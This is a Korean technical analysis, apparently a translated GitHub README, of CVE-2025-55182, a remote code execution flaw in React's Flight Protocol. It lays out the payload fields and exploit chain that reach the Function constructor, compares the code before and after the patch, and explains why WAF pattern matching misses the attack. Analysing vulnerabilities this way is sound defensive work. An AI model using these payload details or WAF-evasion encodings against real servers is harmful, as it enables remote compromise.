
CVE-2025-55182에 대한 상세 기술 분석 및 개념 증명 익스플로잇. React의 Flight Protocol에서 발견된 치명적인 RCE 취약점입니다. 경로 탐색, 가짜 청크 주입, WAF 우회 기술을 다룹니다.
NOTE: Written by AI/Claude
https://github.com/ejpir/CVE-2025-55182-bypass
CVE-2025-55182는 React의 Flight Protocol에서 발견된 심각한 RCE 취약점입니다. 공격 체인은 경로 탐색 + 가짜 청크 주입 + $B 핸들러 남용을 연결하여 Function(attacker_code)를 실행합니다.
실제 익스플로잇 체인을 제공한 maple3142님께 큰 감사를 드립니다!
이 익스플로잇은 세 개의 폼 필드를 사용하여 악성 페이로드를 구성합니다:
then을 가진 가짜 청크 객체를 생성합니다 (필드 1 $@0 → 필드 0)_formData.get이 $1:constructor:constructor로 설정된 **가짜 _response**를 포함시킵니다response._formData.get(response._prefix + id)를 호출하는 $B 핸들러를 트리거합니다_formData.get이 Function으로 해석되어 Function(code)를 실행합니다┌─────────────────────────────────────────────────────────────────────┐ │ 1. Attacker sends multipart form with fake chunk object │ │ → decodeReply() parses form fields 0, 1, 2 │ │ → Object has: then, status, value, _response │ └─────────────────────────────────────────────────────────────────────┘ │ ▼ ┌─────────────────────────────────────────────────────────────────────┐ │ 2. Self-reference makes object thenable with real function │ │ → then: "$1:proto:then" → Chunk.prototype.then │ │ → Chunk.prototype.then(this) calls initializeModelChunk(this) │ │ → Uses this._response (attacker's fake _response) │ └─────────────────────────────────────────────────────────────────────┘ │ ▼ ┌─────────────────────────────────────────────────────────────────────┐ │ 3. parseModelString() handles "$B1337" reference │ │ → case "B": return response._formData.get(response._prefix+id) │ │ → Calls _formData.get with attacker's _prefix + "1337" │ └─────────────────────────────────────────────────────────────────────┘ │ ▼ ┌─────────────────────────────────────────────────────────────────────┐ │ 4. getOutlinedModel() resolves _formData.get (lazy evaluation): │ │ → "$1:constructor:constructor" traverses prototype chain │ │ → Returns Function constructor │ │ → Function(code + "1337") → RCE │ └─────────────────────────────────────────────────────────────────────┘
### 주요 구성 요소
| 구성 요소 | 목적 |
|-----------|---------|
| `then: "$1:__proto__:then"` | 자기 참조적인 thenable; chunk 1(`$@0`)은 chunk 0을 다시 가리킵니다 |
| `status: "resolved_model"` | 객체가 유효한 React chunk로 보이도록 만듭니다 |
| `reason: -1` | rootReference를 undefined로 설정합니다 (참조 충돌 방지) |
| `value: '{"then":"$B1337"}'` | `$B` 핸들러를 트리거하는 중첩된 페이로드 |
| `_response._prefix` | RCE 코드 문자열을 포함합니다 |
| `_response._chunks: "$Q2"` | chunk 처리 중 충돌을 방지하기 위한 빈 Map |
| `_response._formData.get` | `$1:constructor:constructor`를 통해 `Function`을 가리킵니다 |
### 구성 요소 심층 분석
#### 폼 필드 구조
익스플로잇은 순환 참조를 가진 세 개의 폼 필드를 사용합니다:```
Field 0: {"then":"$1:__proto__:then", "status":"resolved_model", ...}
Field 1: "$@0" ← references back to field 0
Field 2: [] ← empty array for _chunks Map
then)then: "$1:__proto__:then"는 자체 참조를 생성하여 실제 함수로 해석됩니다:```
$1:proto:then
↓
$1 → chunk 1 → "$@0" → getChunk(0) → Chunk object
↓
Chunk.proto.then → Chunk.prototype.then (actual function!)
**왜 이것이 중요한가:**
1. `then`은 `Chunk.prototype.then`으로 확인됨 - 실제 호출 가능한 함수
2. 이로 인해 가짜 객체가 유효한 thenable이 됨
3. await될 때, JS는 `obj.then(resolve, reject)`를 호출
4. `Chunk.prototype.then`이 가짜 객체를 `this`로 하여 실행됨:```javascript
Chunk.prototype.then = function (resolve, reject) {
switch (this.status) { // this.status = "resolved_model" ✓
case "resolved_model":
initializeModelChunk(this); // fake object passed!
initializeModelChunk(this)는 this._response를 사용합니다 - 공격자의 가짜 _response:```javascript
value = reviveModel(
chunk._response, // ← attacker's fake _response!
...
);**자체 참조가 없으면** 가짜 `_response`는 절대 사용되지 않을 것입니다. 자체 참조는 `Chunk.prototype.then`이 공격자의 객체를 실제 Chunk로 취급하게 만듭니다.
#### 2단계 Thenable 트리거 (`value`)
`value` 필드는 다른 thenable이 포함된 중첩 JSON 문자열을 포함합니다:```json
{"then":"$B1337"}
Stage 1: 외부 객체의 자기 참조 then이 청크 처리를 트리거합니다
Stage 2: React가 모델을 해석할 때 value를 파싱하고 then: "$B1337"을 가진 다른 thenable을 만납니다. $B 접두사가 핸들러를 트리거합니다:```javascript
case "B":
return response._formData.get(response._prefix + obj); // obj = "1337"
`_formData.get` is `"$1:constructor:constructor"` → `getOutlinedModel()` resolves to `Function`.
This becomes: `Function(code + "1337")` → 유효한 JS입니다. 왜냐하면 `1337`은 단순히 후행 표현식이기 때문입니다.
#### 방어적 패딩 (`_chunks`)
가짜 `_response`는 충돌을 방지하기 위해 유효한 `_chunks` 속성이 필요합니다:```
Form field "2": [] ← empty array
_chunks: "$Q2" ← $Q = Map type, creates new Map([])
React의 내부 코드는 처리 중에 response._chunks.get() 또는 response._chunks.has()에 접근할 수 있습니다. 빈 Map은 오류 없이 이 호출들을 만족시켜 실행이 취약한 $B 핸들러에 도달할 수 있게 합니다.
| 경로 | 기능 | Exploit에서의 목적 |
|---|---|---|
| 경로 순회 | getOutlinedModel() | $1:constructor:constructor를 해석하여 Function을 얻음 |
가짜 _response 주입 | initializeModelChunk() | 공격자의 chunk._response를 사용 |
$B 핸들러 | parseModelString() | _formData.get(_prefix + id)를 호출하여 RCE 유발 |
decodeReply()는 진입점이며, 자체적으로 취약하지 않습니다.
경로 순회 (getOutlinedModel()):```javascript
for (key = 1; key < reference.length; key++)
parentObject = parentObject[reference[key]]; // No validation!
**가짜 응답 사용법** (`initializeModelChunk()`):```javascript
value = reviveModel(
chunk._response, // Uses chunk._response directly!
{ "": rawModel },
...
);
$B 핸들러 RCE (parseModelString()):```javascript
case "B":
return response._formData.get(response._prefix + obj); // RCE!
---
## 수정 (19.2.1)
패치에는 여러 수정 사항이 포함되어 있습니다:
1. **`RESPONSE_SYMBOL` 에서 `initializeModelChunk()`** - 중요 수정 ```javascript
// BEFORE: chunk._response (attacker can set via JSON)
value = reviveModel(chunk._response, ...);
// AFTER: Symbol lookup (cannot be forged via JSON)
var response = chunk.reason[RESPONSE_SYMBOL];
value = reviveModel(response, ...);
hasOwnProperty의 getOutlinedModel()에서의 확인 - 프로토타입 탐색 차단 ```javascript
hasOwnProperty.call(value, name) && (value = value[name]);
reviveModel()에서의 __proto__ 처리 - 프로토타입 오염 방지 ```javascript
void 0 !== parentObj || "proto" === i
? (value[i] = parentObj)
: delete value[i];
initializeModelChunk()의 타입 검사 - 리스너 검증 ```javascript
"function" === typeof listener
? listener(value)
: fulfillReference(response, listener, value);
| 기능 | 상태 | 비고 |
|---|---|---|
| 프로토타입 체인 탐색 | ✓ 확인됨 | $1:constructor:constructor를 통해 |
| Function 생성자 접근 | ✓ 확인됨 | 매니페스트 불필요 |
| 완전한 RCE | ✓ 확인됨 | 가짜 청크 + $B 핸들러를 통해 |
이 섹션에서는 전통적인 패턴 매칭 WAF 규칙이 이 익스플로잇을 안정적으로 탐지할 수 없는 이유를 설명합니다. 이러한 한계를 이해하는 것은 보안 팀이 방어 태세를 평가할 때 필수적입니다.
익스플로잇 페이로드는 각각 다른 인코딩 지원을 가진 여러 파서를 통과합니다. 원시 HTTP 바이트를 검사하는 WAF는 인코딩된 문자열을 보지만, 서버는 처리하기 전에 이를 디코딩합니다:
| 계층 | 파서 | 디코딩 |
|---|---|---|
| JSON 구조 | JSON.parse() | \uXXXX 유니코드 이스케이프 |
| JavaScript 코드 | Function() 생성자 | \uXXXX, \xXX, 8진수, fromCharCode() |
이는 근본적인 불일치를 만듭니다: WAF는 인코딩된 바이트를 보지만, 애플리케이션은 디코딩된 문자열을 봅니다.